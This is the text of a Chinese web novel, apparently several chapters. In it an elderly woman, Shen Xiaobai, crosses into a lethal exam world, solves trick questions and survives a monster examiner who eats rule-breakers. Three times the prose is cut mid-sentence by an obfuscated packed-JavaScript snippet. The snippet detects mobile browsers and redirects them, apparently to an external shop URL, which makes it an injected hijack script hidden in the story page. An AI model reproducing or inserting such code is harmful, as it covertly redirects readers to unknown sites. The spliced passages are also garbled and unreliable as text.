嘴还张着,眼泪还挂在脸上,他刚准备问是什么办法。 笃笃笃。 卧室门被人敲响了。 “沈阿姨,我来给你送降压药啦!” 是孙护士的声音。 沈笑白把后半句话咽了回去,王大爷也识相的闭上嘴,抬手在脸上胡乱抹了一把。 “进。”沈笑白道。 门推开,孙护士推着装满药水的小车走进来。她把小车靠墙停好,从托盘里拿出几颗药,又端起杯温开水,一起递到沈笑白面前。 “沈阿姨,这是降压药,还有那几颗是治疗慢性病的。” 沈笑白接过来,就着水把药咽下去。都是她平时吃的那些,老年病的常用药,她熟悉得很。 孙护士鬼鬼祟祟往门口探了探头,确认外面没人,才小声开口道:“沈阿姨,刚才的事你别往心里去啊,周医生那人就这样。” “而且他是我领导,刚才当着他的面,我也不好说什么……” 但是现在领导不在,孙护士是什么都敢说。 “他们理科生嘛,你懂的,轴得很!什么事都得讲科学,穿越这种事他肯定是不信的。” “但你说的那些,我可爱听了,真的!比现在的电视剧精彩多了!” 她冲沈笑白眨眨眼,“回头有空再给我讲讲呗?” 沈笑白笑了下,无奈地摇了摇头。 看孙护士这幅样子,自己说的穿越那些事情,大概是被当成什么有意思的小说在听。 信不信的,倒还是另说。 沈笑白故意板起脸:“你这孩子,背后说领导坏话,就不怕我告诉周医生?” “哎别别别!”孙护士赶紧摆手,凑上来讨好地笑,“我这不是觉得您人好才敢说的嘛!” “你要是告状,我下次可不偷偷给你带外卖了昂。” 沈笑白等的就是这句话。 这家养老院饮食控制得严,想吃点别的还得让关系好的护士偷摸带进来,正好借这个机会多骗几顿外卖。 她正准备开口,边上却突然响起一阵呼噜声。 王大爷坐在边上的椅子上,不知道什么时候脑袋一歪,打盹睡着了。 沈笑白心里暗道一声不好。 “老王?老王!”她立刻喊了几声,但没反应。 她又推了推老王的肩膀:“醒醒,醒醒!” 还是没反应。 得。又穿越进去了。 沈笑白叹了口气,没办法了,只能让孙护士拿轮椅过来,把王大爷送回他自己的房间。 孙护士乖巧地照做,推着人走到门口,正要关门,突然想起什么,探回半个脑袋:“哦对,差点忘了!” “沈阿姨,刚才给你吃的药里面,之前那个忆立清效果不好,周医生给你换了进口的,叫艾斯能,对老年痴呆特别有效,就是吃完有点副作用。” 沈笑白:“什么副作用?” “容易犯困。” 孙护士提醒道,“阿姨你注意别做运动之类的危险事情啊,好好睡一觉就没事了。” 门关上了,沈笑白却愣愣地坐在床上,半天没动。 完了。 她才刚从游戏里出来,休息了才没多久,这一犯困,又得进去。 她下意识抬手,想着抠喉咙把药吐出来。 但又停住了。 算了。 迟早要进去面对的,早进晚进,有什么区别? 沈笑白撑着床沿慢慢躺下去,把被子拉到下巴,闭上了眼。 抓紧时间休息,能歇一分钟是一分钟。 等进去了,又是二十四小时神经紧绷,连喘口气都得掐着点,自己这副老骨也不知道还能扛多久。 药效上得很快。 迷迷糊糊的,她感觉到困意慢慢泛上来,眼皮越来越重,越来越重。意识开始发沉,像有只手在往下拽她。 拽着拽着,突然又松开了。 “沈笑白!你发什么愣啊?” 她睁开眼。 纪燃的脸杵在面前,手在眼前使劲晃着: “倒计时只剩十秒了!π小数点后的第一万位数是什么啊?再不写我们都要死了!” 3. 第log?(8)章 沈笑白的姿势还停在穿越回去之前的那一刻。 嘴微微张着,那口气刚好提到一半,正准备把答案告诉纪燃。 现实和游戏里的时间流速不一样。她在现实里待的那几个小时,对于游戏里来说,连一秒都不到。 沈笑白对着纪燃喊:“答案是不知道,快写,不知道!” 她说着,自己的手也没停,手腕一转,笔尖已经落在自己的答卷上。写字的速度又快又稳,完全没有刚才老年状态下的那种慢吞吞。 腰上的酸痛感消失了。 脑子也像卸了头盔一样,轻得发飘,转得飞快,周围所有的动静都变得清晰可辨。 距离交卷倒计时还剩8秒,纪燃根本没时间问为什么,也来不及思考,他只是本能地选择了相信沈笑白。 他立刻抓起笔,在答卷上写下三个字:不知道。 然后和沈笑白一前一后走向讲台,交卷。 而周围的其他人,早就竖起耳朵在偷听他们的对话,自然也都听到了沈笑白喊的那句答案。 他们也跟着急匆匆落笔,写下不知道。 第一题大家就是听了沈笑白的答案才答对的。现在时间紧迫,又没人知道正确答案,他们只能选择继续相信她。 10张……30张……57张。 答卷全部交上讲台的时候,倒计时的最后一秒刚好走完。 滴答一声。 “回答正确。” 考官站在讲台上,失望地公布阅卷结果。 这四个字落下,教室里瞬间响起一片松气的声音。 “对了?真对了?” “答案还真是这个?!” “呜呜我刚才写的时候手都在抖……” 纪燃一脸震惊的看着沈笑白,问道:“π小数点后第一万位,怎么会是不知道?” 不止是他,此刻教室里的所有人都想知道为什么,他们一个个都竖起了耳朵,等着听沈笑白的回答。 “我们都被误导了。”沈笑白开口道。 纪燃皱眉:“什么意思?” “我们都以为,考官出题,是在考我们会不会做,”沈笑白摇了摇头,“但不是。” “那他在考什么?”纪燃问。 “考官是在考我们,有没有严格遵守校训。” “校训?” 纪燃顺着她说的话,转头看向黑板上方,那里贴着一排红色的校训,六个大字,方正,醒目: 常倾听、守德信、育英才。 “刚才的第一题,考的是校训第一条,常倾听。” 沈笑白解释道,“这题,考的就是我们有没有仔细听考官说的话。” 有没有仔细听考官问的那句:都听懂了吗? 沈笑白继续说:“第二题,考的是校训第二条,守德信。” 守德信。 顾名思义,就是要守住品德,守住诚信。 这个世界上,没有任何人能在一分钟里算出π的第一万位,更不可能有人能凭空背出一万位,所以…… “要遵守校训,诚实守信。”纪燃这下彻底明白了,接过话头,“我们不知道答案,就要直接写不知道!” “不对。” 一个声音突然从旁边插进来。 这不是沈笑白声音。 是一个男人的声音。 沈笑白左侧的位置上,坐着一个人。 带着眼镜,看起来斯斯文文的,衬衫扣到最上面一颗,袖口挽得整整齐齐。他坐得很直,气质清冷,看起来很不好接近的样子。 “这题考的是守德信。”男人开口道,“如果不知道,就写不知道。但如果知道,就要直接写下答案。” “所以这题还有第二个答案,是7。” 纪燃一时没反应过来:“什么?” 男人推了推眼镜,又重复了一遍:“π小数点后第一万位数,是7。” 四周瞬间安静了。 众人:“……” 不是。 还真有人在一分钟内算出π的第一万位是多少?这还是人脑吗? 有人不信,跳出来质疑:“你吹牛的吧?这么短时间里根本算不出答案!” “不是算的。”男人淡淡道,“是见过。” “《普林斯顿高数集》,第213页,第二段,第三行。” 众人:“……” 安静。 死一样的安静。 “见过就记住了?”那人下意识地追问了一句,“π的第一位到第一万位……你全记住了?” 男人蹙眉,像是不太理解这有什么好大惊小怪的。 “这很难吗?”他反问。 四周再次安静了。 比刚才更静。 坐在前排的胖子脾气一直很暴躁,听到这话,他憋不住了:“那你刚才不说?你早知道答案不告诉我们?!” 男人冷冷扫了胖子一眼:“我凭什么告诉你们。” “哪条规则写了,知道答案要告诉他人。” “你故意找揍是不是!”胖子气得直接站起来,攥紧机械拳头就要冲过去。 “吵死了,安静。” 考官的声音突然响起。 声音不大,但却立刻震住了胖子。 胖子像被踩了尾巴的猫,整个人狠狠一哆嗦。他僵在原地,喉结上下滚了滚,没敢在说话。他小心翼翼坐回了椅子,不敢发出一点声音,甚至都没敢抬头再看考官。 其他人也都瞬间闭嘴了,不敢再发出声音。 因为谁都听得出来,考官现在的心情很差。 前两题几乎全员答对,这已经让他很不愉快了。而现在,这群人居然发现了校训,还推测出了真正的考题。 真的是。 很烦人。 考官没心情继续和这些人玩了,他直接大手一挥,所有人的课桌上凭空多出一张新的答题纸。 和第二次的一样,是一张白纸,上面只印着一行字。 答案:__ “第三题,请听题。” 考官直接抛出了最后一题。 “在某次期末考试中,小明的数学考了59分,国语考了54分,科学考了47分,外语考了64分。” “请问,总分400分的卷子,小明最终的成绩是多少分?” 考官连看都懒得看他们一眼,话没说完,手就已经按下了倒计时。 滴答一声。 “现在,开始答题。” 而这一次,讲台下没有人哭,没有人红着眼问怎么办,也没有人交头接耳,讨论答案到底是什么。 刚才沈笑白揭露真相那些话,教室里的人都听到了。 他们现在全都盯着黑板上方的校训。 全都在思考。 第三题,考的是第三条校训:育英才。 顾名思义,就是要培育优秀的学生。 那什么是优秀的学生? 自然是门门功课都优秀,门门考试都拿满分的学生。 有人开始动笔了。 笔尖划过纸面发出沙沙的响声,然后是第二个,第三个,第四个……一片沙沙声响了起来。 他们一个接一个写完,站起来,走过去,把答题纸放在讲台上。 一张又一张,很快就摞成一大叠。 考官看着那叠厚厚的答题纸,上面全写的是满分,400分。 “回答正确。” 他一边宣布结果,一边把手里的那叠纸直接扯成两半,往地上一丢,像是在发泄什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528260|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一样。 而讲台下的考生们,现在已经顾不得观察考官在发泄什么了,他们满脑子只有一件事:回答正确。 “太好了!三题都答完了!!” “教师聘用合同呢?是不是该给我们发合同了?” “拿到合同就算完成纬令了吧?!能放我们出去了吧??” “能回家了呜呜呜,太好了呜呜呜呜……” 欢呼声从四面八方响起,有人蹦起来,有人捂着脸哭,有人抓着旁边人的胳膊使劲晃,那口憋了这么久的气,终于松了下来。 可这口气还没松完。 只听滋啦一声。 广播响了。 【笔试考试结束,本场考试共58人,合格者57人】 【请各位考生有序离场,去对面房间参加第二轮考试】 “啊?怎么还有第二轮啊啊??” “就是啊!还有完没完啊!” “我要回家,我不想再考了,放我回家呜呜……” 刚才的欢呼声,瞬间被一片抱怨声取代。 纪燃也有点不爽,往沈笑白这边凑了凑:“怎么还有?一场接一场的,这是打算把我们全耗死在这儿?” “别废话了,”沈笑白直接打断对方,“起来,先出去。” 纪燃愣了一下:“这么着急干什么?” “你忘记考场规则第三条了?”沈笑白抬起下巴,朝黑板的方向扬了扬。 考场规则第三条:考试结束方可离开,且须在10分钟内离开。 “十分钟内要离场!”纪燃立刻弹了起来,“我们赶紧走!” 他这一嗓子,把所有人的视线都拽了过来。 大家这才想起,黑板上还有第三条规则。 “差点忘了这茬了!” “大家快走!快快快!” 一群人推搡着往门口冲,脚步声杂乱响起,生怕慢一秒就会超时。 第一个冲到门边的人突然刹住脚步,导致后边的人直接撞了上去。 “你干什么突然停下!赶紧走啊!” “蠢货!”前面那人回头骂,“你忘记广播说要有序离场?我们一窝蜂冲出去,万一又触犯规则怎么办?” “哦哦哦对!” 所有人瞬间反应过来。 本来挤成一团的人群立刻开始调整。有人往后退,有人侧身让,乱了几秒后,竟然真的排成了一条队伍。 一条整齐的队伍,从门口一直蜿蜒到教室后排,没人敢挤,没人敢乱。 沈笑白和纪燃也快步走到队伍后面,排了上去。 队伍动得很快。 他们一个接一个地往外冲,脚步声急促得像擂鼓一样,咚咚咚,咚咚咚,根本没停过。没人敢慢,都怕超时。 没过多久,纪燃和沈笑白就排到了队伍的第二和第三位。 就在这时候,滋啦一声。 广播又响了。 【考生12号,违反考场规则】 【光明中学,只收精英,犯错者,就地销毁】 “怎么回事!10分钟离场时间到了??” “没有啊!最多才过去三四分钟啊!” “12号是谁啊?他触犯什么规则了??” 喊叫声,尖叫声乱成一团。 没人知道是谁触犯了规则,更没人知道,触犯的,到底是哪条规则。 “哈哈哈哈哈哈哈哈!” 一阵笑声从讲台上传来。 考官低着头,肩膀一抖一抖的,肚子里的笑声一阵一阵往外涌。 几分钟前他还烦躁得撕碎了答卷,现在却兴奋得全身都在抖动,简直判若两人。 他抬起头,脖子缓缓扭向众人: “差点忘了,还有这个规则。” 4. 第√?16 章 话音刚落,考官的脸再次裂开,那张血盆大口从皮肤底下冲出来,直直扑向排在门口的纪燃。 “快躲开!” 沈笑白反应很快,拽着前面的纪燃就往旁边闪。 可那张嘴速度太快了,快得根本来不及躲,她刚发力,那张嘴就已经到了眼前。 纪燃知道自己躲不掉了,他不退反进,往前顶了半步。 “来啊!”他喊道,“今天我非要把你这张嘴撕烂不可!” 他全身的肌肉都绷紧了,等那张嘴咬过来,等着一场你死我活的较量。 可下一秒。 那张嘴却擦着他的耳朵飞过去了。 它没咬纪燃。 它扑向了排在纪燃前面的那个人。 也是现在排在队伍里的第一个人,半只脚已经踏出门槛的那个人。 “啊啊啊啊!!!” 撕心裂肺的惨叫声响起。 那人的上半身被那张血盆大口整个咬住,从腰往上,全没了。只剩两条腿在外面,疯了似的乱蹬。 血从咬合的地方涌出来,顺着腰往下淌,淌过大腿,顺着小腿往下,蔓延到地上。 “我犯什么规了??不可能!你肯定弄错人了!!” 他的叫喊声从那张嘴里闷闷地传出来。像隔着一层厚棉被,嗡嗡的,听不真切,但每一个字都往大家的心口上扎。 “我没有犯规!我一条规则都没有犯!啊啊啊啊!!” 然后。 哧溜一声。 那两条还在外面乱蹬的腿,也被吸进了嘴里。他连挣扎的机会都没有,就那么没了。 那张嘴像是终于满意了。 它慢吞吞地缩回去,带着那种吃饱了之后的餍足,一点一点缩回考官的脸皮底下。 门口只剩下一滩黏糊糊的血。 还有呆愣在原地的众人。 “他、他他他刚才在门口做什么了?”有人指着那摊血,颤抖着发问,“他违反什么规则了??” “不知道啊!!”另一个人接话道,“考场规则总共就三条啊!我背得滚瓜烂熟!他违反了哪条?哪条啊?!” 没人答得上来。 沈笑白排在在纪燃后面,离刚才被咬的12号只有两步远。 她看得清清楚楚,那个人刚才根本没有违反任何规则。 有序离场,没有乱挤。完全服从考官安排。 穿的是普通的T恤和短裤,料子薄得透光,连个口袋都没有,不可能带走考场内的物品。 离场时间要求的是10分钟,现在最多过去4分钟,离时限还早。 那他到底触犯了什么? “是不是有什么隐藏规则?故意瞒着不告诉我们?”纪燃侧过身问沈笑白。 “不清楚。”沈笑白摇头,“如果有,就得搞清楚,刚才那个12号做了什么特别的事。” “或者说,他做了什么,我们没做的事。” 大家开始拼命回忆。 12号踏出门口的时候,有没有做什么奇怪的动作?有没有说什么不该说的话?有没有碰什么不该碰的东西? 可想来想去,都没有。 他就是正常地走出去,脚刚迈出去半只,广播就响了,然后人就没了。 到底是为什么? 为什么?? 终于有人受不了了。 一个女生咬着嘴唇,壮着胆子举起手,朝着讲台上问道:“那个,考官大人,请问刚才12号具体犯的哪条规则啊?” 正在咀嚼的考官停下动作。 他慢慢扭过头,指着自己,歪了歪头问:“你是,在问我吗?” 那女生的脸瞬间白了,她突然意识到自己刚才的行为有多愚蠢。 求助考官? 开什么玩笑。 对方巴不得他们全都触犯规则,好让他饱餐一顿。他甚至可能故意说错误答案,让你高高兴兴往坑里跳。 “对、对不起,没事了!”女生把手缩了回去,缩得比举起来的时候快多了。整个人往人群里退了几步,恨不得把自己藏起来。 考官却笑了一声。 “对了,忘了告诉你们了。” “考试结束10分钟后,会对整个教室进行消毒。”他抬起一只手,指了指天花板,“再不走,你们也会被一起消毒噢。” 所有人的目光顺着他手指的方向看过去。 天花板上,原本消防喷头的位置,伸出来几个东西。 是莲蓬头。 就是洗澡用的那种莲蓬头,密密麻麻全是孔。往下伸着,悬在每个人头顶上方。 能听见里面传来隐约的水流声,咕噜咕噜的。像有什么东西正在管道里往下涌,迫不及待要冲出来。 但没人觉得那里面喷出来的会是水。都觉得一定是硫酸,或者更恶心的东西,能让皮肉一块一块往下掉的那种。 “呜呜呜怎么办啊……”有人哭喊道,“我们走不走啊,再不出去肯定会被里面的水弄死的吧!” “不敢啊!”另一个人说,“你动一个试试!谁知道会不会和刚才12号一样,一出去就莫名其妙犯规了!” 走也不是,不走也不是。大家都钉在原地不敢动,都不知道该怎么办。 他们脑子里全在想同一个问题:刚才那个12号踏出去的时候,到底做了什么才触犯了规则啊?? 可越想越乱,越想越怕。 就在这时,队伍里一个人动了。 是那个戴眼镜的男人,就是刚才那个,能记住圆周率一万位数是7的眼镜男。 他推了推眼镜,径直朝门口走去。一步,一步的,不紧不慢的。 所有人屏住呼吸,目光紧紧黏着他,跟着他一步一步往前挪。 只见眼镜男走到门口,绕开地上那摊血。 然后抬脚。 落地。 没有广播声响起。 没有违规。 他就这么走出去了,然后身影一晃,消失在门外的走廊里。 教室里瞬间沸腾了。 “他就这样出去了?没响广播?没犯规?” “那刚才12号为什么一出门就出事了?” “会不会是12号之前就犯了规?播报延迟了,正好卡在他出门的时候响?” “对对肯定是!他们就是故意延迟播报的,想吓住我们,不敢往外走!好让我们全超时,被消毒水喷死!” “有道理!太阴了!” 边上的附和声一阵阵响起,大家频频点头表示同意这个想法。 “那还等什么?!” 一个急性子的男人忍不住了,往前挤上来,撞开旁边的人。他块头大,一撞撞得边上那人踉跄了好几步。 “你们不走我走!再不走真要超时了!” 男人冲到门口,深吸一口气,闭上眼,一口气跨了出去。 一秒。 两秒。 三秒。 什么都没发生。 他睁开眼,咧嘴笑了一下,抬手抹了把额头的汗:“吓死我了!没事!没有犯规!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528261|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说完,头也不回地往走廊深处跑。脚步声咚咚咚的,越来越远。 “他出去了!真的没事!!” “我就说肯定是故意延迟播报误导我们!12号倒霉而已!” “那还等什么?快走啊!” 教室剩下的人全都激动了。 全都涌了上来,一个接一个快步往外跑,生怕慢一步就再也出不去。 纪燃也有点心动了,手肘撞了撞沈笑白,问道:“哎,走不走?” 沈笑白没动,视线还钉在门槛上:“先等等。” “还等啊?”纪燃皱眉,“可这么多人出去都没事。那12号可能就是之前就犯了规,故意拖到门口才播报,想卡我们心态呢。” “可能?” 沈笑白笑了一下,“在错纬里用可能这种猜想来行动,你是有几条命够死的?” 纪燃噎住了,老老实实哦了一声,把嘴闭上了。 沈笑白说得对,必须想明白那个人到底是犯了什么规则死的,才能动。 差一点都不行。 可眼前这群人已经等不及了,他们一个接一个往门口冲。连着跑出去七八个人,都好好的,没犯规。 他们站在门外,兴奋得冲教室里的人喊:“真的没事!快啊!快出来啊!” 求生的本能压过了一切,又一批人涌向了门口。 一个瘦高个挤了半天,终于挤到门槛前,他抬脚,刚跨出去半只脚。 【考生09号,违反考场规则】 广播的声音毫无征兆地响起。 【光明中学,只收精英,犯错者,就地销毁】 瘦高个当场愣在原地,他甚至没反应过来那个“考生09号”说的是自己,考官的那张血盆大口已经到了他身边。 咔嚓一声。 “啊啊啊啊!!” 瘦高个的惨叫声响彻教室,但只响了一秒,声音就戛然而止。 门口又多了一滩血迹,红的白的溅在墙上,顺着门框往下淌。 “怎、怎么回事!为什么他一出去就犯规了?” “不是延迟播报!就是出门这个动作本身犯规!” “你们刚才还非说12号是之前犯规,故意卡到门口才响,狗屁!问题就出在这个门口!” “好了好了,现在吵这个有用吗?!时间不多了,快想想09号刚才在门口做了什么特别的动作!” 没有。 没有任何特别的动作。 沈笑白可以确定。 她刚才眼睛几乎没眨,全程盯着跑出去的那些人。他们动作匆忙,推推搡搡,但没有任何一个人做过什么特殊的事。 跨门槛,就是单纯地跨门槛。和刚才死的那个09号一模一样。 等等。 09号? 死的那两个人,分别是09号和12号。他们有一个共性,就是编号都很靠前。 沈笑白仔细回想了一下,当时这两个人考试时候坐的位置,09号在第二排,12号在第三排,都是前排。 也就是说,他们的编号是按照考试时的座位来的。 那么,为什么违规的都是坐在前排的人? 刹那间,沈笑白脑子里突然闪过一个画面。 她知道了! 沈笑白立刻看向身旁的纪燃,催促道:“快,脱衣服。” 纪燃一愣:“啊?干嘛??” 随即又往后一蹦,双手交叉护在胸前:“你该不会是想让我去色诱考官吧?!警告你啊,我卖艺不卖身的!” 5. 第e^(ln5)章 沈笑白没接他的话,一把拽住自己外套的拉链,往下一扯,开始脱自己的外套。 “少贫嘴。”她一边脱一边说,“快把外套脱了。” “不是,你到底要干什么?”纪燃彻底懵了,“这又不是澡堂子,你脱什么衣服啊??” 他眼睁睁看着沈笑白把外套脱下来,拎在手里翻来覆去地看,又抖了两下,像在找什么东西。 “找木屑。”沈笑白头也不抬地说了一句。 “什么?” “9号和12号违规,是因为身上沾了木屑。他们违反的是考场规则的第二条。” 严禁损坏或带走考场内的物品。 纪燃愣了一下:“木屑?哪来的木屑?” 这话刚问出口,他就顿住了。因为他脑子里也闪过了一个画面。 第一道考题的时候。 那个答错6÷6=1的男人。 血盆大口咬下来的时候,连带着咬断了边上的半张课桌。血液混着木屑,当场飞溅到前排那些人身上。 课桌是考场内的物品。 课桌被咬碎溅出来的木屑,当然也是。 所以9号和12号一跨出门槛的时候,广播就响了。 “虽然我们坐在后排,但保险起见,都检查一遍。外套裤子鞋子,还有头发。”沈笑白一边检查自己的裤子一边说。 “!!” 纪燃这下彻底明白了,二话不说,直接把外套扯下来往地上一摔,像扔烫手山芋似的。 然后开始疯狂拍裤子。 “这你都能想到?太厉害了吧?”他一边拍一边看向对方,“你这啥脑子,借我使两天呗?” “废话少说,检查仔细点。” “得嘞。” 纪燃拍完裤子,又开始拍肩膀,拍后背,前前后后上上下下,每一寸都拍了个遍。拍完了还弯腰拍看看鞋底,恨不得把自己拆开来全检查一遍。 沈笑白也没闲着,身上的衣服裤子鞋子检查完了,又开始捋自己的长发,手指插进发丝里细细地过,生怕里面夹着一丁点木屑。 教室里其他人此时已经不说话了,都站在一边看着他们俩。 他们在等。 等这个办法到底管不管用。 等沈笑白和纪燃跨出门槛的那一刻。 等他们两个,给所有人当一次试验品。 沈笑白和纪燃当然注意到了这些目光。两人都心知肚明这些人打的什么算盘,但谁也没往那边看一眼,只是自顾自地上上下下检查了个遍。 检查完最后一缕头发时,沈笑白抬头看向纪燃:“我好了。” 纪燃刚好直起腰,冲她比了个ok的手势。 “走。”沈笑白说。 “走走走走!”纪燃二话不说跟上去。 对沈笑白,他没什么好犹豫的。两人不是第一次在错纬里做搭档,好几次生死关头,都是沈笑白把他从鬼门关拽回来的。 两人一前一后,快步踏出教室门口。身后那群人的目光,死死黏在他们背上。 然后。 什么都没发生。 没有广播声响起。 没有任何人违规。 教室里瞬间炸起了一片欢呼声。 “他们没事!!” “是因为木屑!真的是!!” “快快快脱衣服!!检查身上有没有木屑!!” 纪燃站在教室门口,回头瞥了一眼。他砸了砸嘴,感觉有点不爽。 “就这么让他们白嫖?” 他看向身边的沈笑白,“从第一道题起抄我们答案,抄到现在,连句谢谢都没有,真当我们是冤大头?” “管好你自己,管他们做什么。”沈笑白头也没回,径直往前走。 前面是一条走廊,漆黑一片,教室里的灯光照不了几步路,就被黑暗吞得干干净净。 纪燃加快两步追上去,跟她并排。 “不是,你什么时候这么好说话了?” 他眯起眼睛,看着对方,“现在改走圣母路线了?准备当救世主?” 圣母? 沈笑白眉头微蹙。 那是什么东西,她不知道。 但救世主她知道,纪燃在阴阳怪气她也知道。 “你不用不爽。”沈笑白说,“不用你出手,他们也活不了多久。” 纪燃:“什么意思?” “来之前我查过,这个错纬的死亡率有99%。”沈笑白说,“之前进来的人,没有一个出去过,可以说是无人生还。” 她说这话的时候表情很平静,就好像这个死亡率99%的错纬跟自己没关系一样。 “你有这个闲心操心他们,不如想想咱俩怎么活着出去。” “行行行,我不说了行了吧。”纪燃投降似的举起双手,“不过,你这说话的口气……” “怎么?” “挺像我妈的。”纪燃撇撇嘴,“她也爱说,少管别人闲事,管好你自己。” 沈笑白脚步顿了一下,偏过头看对方,笑了一下。 那笑容有点微妙。 “这句话倒是说对了,”她说,“我的年纪,确实可以当你妈了。” 纪燃:“?” 沈笑白:“来,儿子,叫声妈听听。” “占我便宜?你想得美!” 纪燃翻了个大白眼,“你就大我三岁,能生出我这么大的儿子?你生一个试试?” “生不出来。”沈笑白笑眯眯道,“但不影响你给我当儿子。” 纪燃:“……你占我便宜还上瘾了是吧?” “好了乖儿子,抓紧走吧。” “沈笑白你再说!” 就两人斗嘴的这会功夫,漆黑的走廊前方,忽然亮了起来。 他们对视一眼,刚才还在开玩笑的神色,瞬间收得干干净净,眼神也跟着沉了下来。 两人没再说话,加快速度往前走去。走近了才看清,是一间教室,门虚掩着,开了一掌宽的缝。 刚才他们看到的光,就是从这道门缝里渗出来的。 暖白色的光,在漆黑的走廊地面上铺出一道长长的光带,一直铺到他们脚边。 纪燃猜测:“这就是第二轮考试的地方了吧?” “应该是,”沈笑白盯着那扇门,“进去看看。” 纪燃伸手推开门,教室里的亮光扑面而来,刺得两人眼睛发酸。 沈笑白眯起眼,等视线适应过来,才看清这间教室的样子。 这里的布局,几乎和上一间教室一模一样。同样的大小,同样的讲台,同样的窗户朝向。 但这次,讲台下是空的。 没有课桌,没有椅子。整整一片空地,水泥地面,灰白灰白的,什么都没有。 之前安全出来的那些人,早就抱团挤在一起,正站在那片空地的正中央,凑着脑袋叽叽喳喳地议论着什么。 黑板上还是那三条考场规则,连字迹都和上一间的一样,像是同一个人写的。只不过这次黑板上方,没有校训,就是一面白墙。 还没等沈笑白多看几眼,一个声音就从边上插了进来: “真不知道你们是哪来的勇气。就这个水平,也想加入裁缝铺当剪师?” 沈笑白转头。 这才发现靠门边的墙上,还倚着个人。 就是刚才那个,能记住圆周率一万位数的眼镜男。 此刻他双手抱胸,一个人站着,和教室中间那群人离得远远的。镜片反着光,看不清他的眼神。 纪燃率先动了,他两步冲上去,直接站在眼镜男面前,质问道: “谢止,你什么意思?” “我们刚进门你就冷嘲热讽的,招你惹你了?别以为你是裁缝铺的剪师就可以高人一等!” 谢止没说话,他甚至都没看纪燃,就那么靠在墙上,像是根本懒得搭理这个小屁孩。 这种无视,比任何嘲讽都更让纪燃难受。他脑门一热,伸手就去拽谢止的衣领。 他倒要看看,剪师到底有多厉害,他到底有什么可傲的! 可手指还没碰到对方,胳膊却突然被人截住了。 是沈笑白。 “行了,”她说,“差不多得了。” 沈笑白往谢止那边抬了抬下巴,提醒道:“他可是我们这次的考核员。” “这裁缝铺,你还想不想进了?” 纪燃一下噎住了。 一肚子火硬生生卡在喉咙里,上不来下不去。堵得慌。 他当然想进裁缝铺。 裁缝铺是政府成立的官方组织,专门管理错纬。只要进去了,就等于端上了铁饭碗,再也不用像以前一样,待在下城区天天抢营养块和蟑螂蛋白糊吃。 而剪师,是裁缝铺里的职位之一,负责清除错纬。这职位又累又危险,每天都要出入各种错纬空间,远不如其他职位轻松。 纪燃对这个职位本身没什么执念,但沈笑白非常想要,他也就跟着一起了。 在这个错纬空间里,其他人都是意外掉进来的倒霉蛋,但他和沈笑白不是。 他们是主动进来的。 这场错纬,就是裁缝铺给他们出的入队考核。 而面前这个谢止,既是裁缝铺的剪师,也是专门给他们这场考核打分的考核员。 纪燃最后咬了咬牙,硬是把到嘴边的话咽了回去,但他脸上的不爽是一点没藏。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17528262|203618||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “切,”他退了回去,嘴硬道,“懒得跟你计较。” 沈笑白这才转向谢止,脸上还带着笑,眼睛弯弯的: “谢止,别光顾着嘲讽,作为考核员,不给我们讲讲这次错纬的规则?” 谢止终于动了。 他把目光移过来,落在沈笑白脸上。 “我是考核员,只负责打分,”他说,“不提供任何帮助。” “我的考核标准只有一条,靠自己本事,活着走出这次错纬。能做到,就能进裁缝铺。” “如果你们需要我的帮忙才能出去,那现在就可以放弃了。” “裁缝铺不收废物。” 被谢止这样一通挤兑,换成其他人早就生气了,但沈笑白却没有,她的脸上甚至还挂着温和的笑。 只是那笑意是浮在表面的,底下是冷的。 这臭小子,说话还挺冲的。 生气?那倒不至于。 她沈笑白活了六十多年,什么场面没见过?比这难听的话听得多了去了。 更何况,她现在必须进裁缝铺,也必须成为剪师。这是她现在找到的,能通关游戏,停止穿越的唯一办法。 不过,这小子嘴这么欠,有机会得教教他怎么做人。 沈笑白正这样想着。 砰的一声。 教室门被撞开了。 乌泱泱一群人涌了进来。 他们推搡着,踉跄着,有人还被门槛绊了一下,伸手撑住门框才站稳。一群人挤成一团往教室里钻,看见沈笑白和纪燃的时候,他们明显松了一口气。 他们是刚才第一间教室里的那些人。 “吓死我了!那走廊黑得要命,要不是大家一起,打死我也不敢走啊!” “可不是嘛!我特意等所有人都出来了才敢动。哎!你们看见没?刚才有俩人超时没出来!” “看见了看见了!就那对情侣是吧?他俩太磨叽了,一直在那掸木屑,掸了十几分钟,结果被一起消毒了!” “天花板喷出来的绝对是硫酸!脸瞬间就烧没了,滋滋冒烟,烧到后面骨头都露出来!然后他们就全化了,像冰淇淋化了一样!” “别说了!我想吐了!” 一群人七嘴八舌,你一言我一语,声音越来越大,越来越乱,吵得人脑仁疼。 纪燃皱着眉往后退了一步,想离这群人远点。 刚退半步。 “别动。”沈笑白突然说。 纪燃顿住。 